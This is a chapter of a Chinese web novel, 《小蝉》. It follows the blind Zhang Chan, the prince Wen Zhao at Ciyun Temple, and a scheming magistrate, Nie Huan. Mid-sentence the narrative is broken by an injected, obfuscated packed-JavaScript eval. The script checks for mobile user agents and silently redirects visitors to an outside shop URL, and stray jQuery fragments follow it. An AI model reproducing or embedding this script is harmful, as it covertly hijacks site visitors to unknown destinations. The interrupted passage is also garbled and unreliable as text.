6. 狐狸
作品:《小蝉》 慈云寺内。
海藏主持步入厢房,看清来者的面目后有些意外,“上次一别,已过两个寒暑,殿下一切可好?”
“多谢海藏大师挂心,一切安好。晚辈今日前来,为的是替故友寻医问药。”,他这话说的谦卑,当年他不顾海藏阻拦执意回盛京,之后的两年里与庆州的一切都依托书信来往。
海藏看了他一眼,没有多说什么。转身行至屏风后。他行医多年一眼就瞧出张蝉先天不足,气血双亏的毛病。
闻昭见海藏诊脉后迟迟没有说话,又见他他取出银针,将银针扎在张蝉头上的几个穴位上。
他等了好一会才开口道:“敢问大师她的眼疾能否治愈。”
“这姑娘的身体纤弱,好在中毒不深,如今及时用药尚且能保住性命。至于这双眼睛,就......”
“就如何?”
“就难啊。”,海藏轻轻叹了一口气,起身走到屏风外。
闻昭跟了上去,他追问道:“难道回天乏术?”
“也不能这么说。”
听到海藏的话里似乎还有转圜的余地,闻昭道:“海藏大师,您医术高明,若是需要什么药材,明徽定会尽力去寻。”
见他自称“明徽”,海藏愣神看了他一眼。“殿下,经老衲诊断这位姑娘的眼疾是中毒所致。”,他继续说:“毒素潜入五脏六腑,如今好在殿下及时将她送来,否则她性命堪虞,结果是必死无疑啊。”
闻昭听海藏提及张蝉的病因是中毒所致,眸色一沉。
“要想根治到恢复光明,没那么容易。此毒毒性霸道强烈,眼下老衲会先用药试着为这位姑娘抑制毒性,至于后效也得看这位姑娘的造化了。”,海藏说着打发小和尚去药库里配药。
午后,闻昭和海藏一同来到慈云寺的藏经阁。
海藏将一本蒙着厚厚的灰尘的旧经书从书架上取了下来。
闻昭接过后一言不发,只用尘掸轻轻擦拭。
海藏叹息道:“这是当年太子殿下亲自誊抄的华严经。那年他将你送来慈云寺,并将这本经书留在藏经阁,至今也快七年了。”
闻昭翻了几页,发黄的纸上抄经者的字迹苍劲有力,只有墨渍有些许褪色。
“当年若没有海藏大师的庇护,让明徽以养病为由寄居佛寺,明徽早已遭他人毒手,命丧黄泉。”
“殿下无需言谢,佛说救人一命胜造七级浮屠。老衲当年蒙受先太子恩惠,自当愿意替太子多加照拂殿下。可殿下,你的所作所为造就你自己的身上杀业太重,血债太深,这是老衲和太子都不愿意看到的啊。”
久藏在心里的伤疤被揭开,闻昭也不愿再多加遮掩。
他说:“罗家的事大师已经知道了,明徽为了给兄长报仇犯下杀业自知身负罪孽,无话可说,只是忘嗔年幼,还望海藏大师多加庇护。”
海藏看着闻昭,两年不见他已经成长成一个身姿颀长,眉目刚毅的少年。和段明熙那种温润如玉,谦谦君子的模样相反,在他异常镇定的双眸里,透着一股狠戾阴鸷。
对于一切和东宫有关的人,他下手太狠。
“殿下离开盛京就不再带着面具示人,可你在老衲面前仍自称‘明徽’,可见殿下自己也无法真正做到和过去割舍。老衲还是想劝殿下一句,已经发生的事是没有办法改变的,东宫之事已经沉寂两年,殿下也应该学会放下了。”
海藏离开后,闻昭回首望向窗外,反应过来后才觉察周身只剩簌簌风声。
藏经阁对面就是慈云寺的大殿,殿堂之中,梵音阵阵,满殿神佛遮掩在云雾之中,俯视众生。
*
张蝉睁眼以后,碰到床边有个硬物件。
她拿起来仔细摸索,发现好像是个面具。
上面的纹路图样,摸起来像是狐狸。
她想起初见闻昭时,他好像就是带着面具。
这几日接二连三发生了很多事,张蝉在不知不觉中像是想到了什么。
昨晚在客栈里陈平和闻昭的对话里,看得出他们二人应该早就认识,那陈平话里好像在惊讶闻昭还活着的事实,那他临死前的话是什么意思呢。
他说闻昭会变成一个疯子,还有他的亲人因他而死......
想到这里她的耳边仿佛还能听见陈平死前的笑声以及那些毫无缘由的话,带着森然阴狠的声音,像是诅咒一般能穿透人的骨血里一样。
张蝉唇瓣紧紧抿起。
陈平是为了罗家的钱才杀了同伙,而闻昭杀陈平却好像是想给什么人报仇。
她出嫁的那日雨夜,她和闻昭在落梅山口相遇。
罗家就在落梅县,罗辉死于刀下,陈平牵涉罗家,而闻昭和陈平相识,那闻昭会不会和罗家......
闻昭,
闻昭,
昭雪的昭。
这个名字仿佛大有深意。
猝然,吱呀一声。
她还全神贯注地沉浸在自己的思绪里,就听见厢房的门被人推开。
来人的步伐沉稳,除了脚步声他腰间的铜铃也跟着晃了起来。
张蝉听见铃铛的声音,原先蹙着的眉渐渐变得松弛。
她问:“这是哪?”
“慈云寺。”
“你不是说带我去看大夫?”
她记得自己喝了一口他给的酒后就脑袋发晕,睡过去之前听见他说要带她去看大夫来着。
闻昭进屋后坐在屏风外说:“慈云寺的主持海藏大师出家前是有名的杏林圣手,你不是希望眼睛能快点好起来吗,我就带你到这请他看诊。”
眼下,张蝉的思绪犹如一团打结缠绕在一起的线,怎么解也解不开。
过了半晌她开口:“闻昭,对不起。”
闻昭听见她道歉反倒笑了,“做什么道歉。”
她慢吞吞地说:“昨晚,我把你的衣服哭湿了。”
“是吗,我还以为是雨呢。”
张蝉笑了笑,手上还拿着那个狐狸面具。“这是你的吗?”
闻昭:“嗯。”
“是狐狸?”
“是狐狸。”
她感受到他的目光慢慢靠近,心里不知为何有些紧张,张蝉觉得在闻昭身上能感觉到一种神秘,又熟悉的气息。
她突然说:“慈云寺里点着的香和你身上的味道好像。”
“我小的时候受海藏主持的照拂,在这里住过一段时间。”
她听见闻昭提起小时候,发现自己认识他以来好像真没怎么听他说起有关自己的事。
“难怪你身上也总有一股檀香的味道。那你对这里这么熟悉,是出身庆州吗?”
“不是,只是小的时候被兄长带来庆州住过一段时间。”
“兄长?”他的话倒是让她起了好奇。
“嗯,不过已经是很多年前的事了。”
张蝉掀开被子,想下床。她弯着腰一边找脚踏边的鞋,一边说:“那你出门在外这么久不回家,你家里人会很担心吧?”
闻昭见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133860|149998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她笨拙的模样,便上前先伸手将她的鞋放在她碰得到的地方,“我没有家人,我兄长也离开很久了。”,他的声音很平静。
张蝉愣了一下。
寥寥数语间,发觉原来他和自己一样。
她不再继续问,“那咱们也算是有缘,都是同病相怜。”
闻昭:“那即是有缘,你也答应我一件事。”
“什么?”她穿好鞋想走至桌边时,手上突然被闻昭塞来一只细棍。
她仔细摸了摸,发现这只棍子的周身像是被人磨平过。
盲杖的触面光滑,应该是闻昭用竹子削的。
“答应我,好好活着。”
闻昭这句话说的很认真,语气里也没有平时的戏谑之意。
她心想,这样的人怎么会陈平口中的疯子呢......他是个好人,不会变成一个嗜血的疯子。
张蝉展颜,眉眼间阴翳散去。“谢谢你,闻昭。”
*
落梅县的县衙内,聂桓望着手里的书信出神。
书信上的内容皆是有关盛京长平侯府,以及张蝉的身世。
近侍上前奉茶,低着头暗声道:“大人,陈平死了。”
听到这个消息聂桓的眼眸动了动,他将信纸叠了起来放在烛火前。
信纸被火苗吞噬落在香炉里,变成一团灰烬。
近侍很有眼力见地去开窗,将焚烧产生的味道散开出去。
聂桓端起茶,从容不迫地饮了一口。“死了便死了,这般无用之人死了也正常。”
近侍问:“那咱们要不要传书回盛京,毕竟罗家的钱还在庆州,主子那里......”
聂桓沉默片刻,问:“十一皇子是不是还在庆州?”
“咱们的人来报,陈平死的当晚,十一皇子曾出现在附近。他身边好像还有一个人。”
“还有一个人?”
“咱们的人说看起来好像是位姑娘,只是见那姑娘走路的模样可以看出来她的眼睛好像不太好。”
“段明徽既然还在庆州,咱们的人就先按兵不动。至于他身边的人,先盯着。”,聂桓说着看向香炉中的那堆残灰。
“可若是主子起疑,咱们可......”
“这是他们自家的事,主子既然让我下放到这做这个糊涂县令,我自然也要顺了他的意,盛京里的事得等咱们官复原职,回到盛京再说。”
聂桓是一月以前被安排到落梅县为官的,他对盛京的事既想置身事外,明哲保身,但也不甘一世在此浑浑噩噩。
“如今庆州边上的平州和青州都不太平,今年多地大旱,到处都有流民发生暴乱,朝廷也应该派人前去赈灾了吧?”
“听说是派歧化将军前去。如今流民四散,别说平州和青州,就连边上的庆州也常有流民闹事。”
聂桓摸着手中的扳指,突然道:“歧化将军的帐下有一副将叫钟什么来着,我听主子说他好像是落梅县人。”
“大人,那人叫钟云昇,您上任前他也曾送过拜帖来着。”
聂桓神色微动,沉默片刻后道:“是吗,找个时间,在歧化将军前往庆州赈灾之前,本官想见见这个钟云昇。”
“是。”
近侍退下后,聂桓独自又坐了许久。
随后他绕过屏风,走向里间。聂桓点燃了三炷香,对着佛龛顺势拜了三拜,供桌之上三炷香正立炉中。
佛龛里是一尊白玉观音,白玉观音相的后面放着一个被红色绸布包裹着的瓷坛。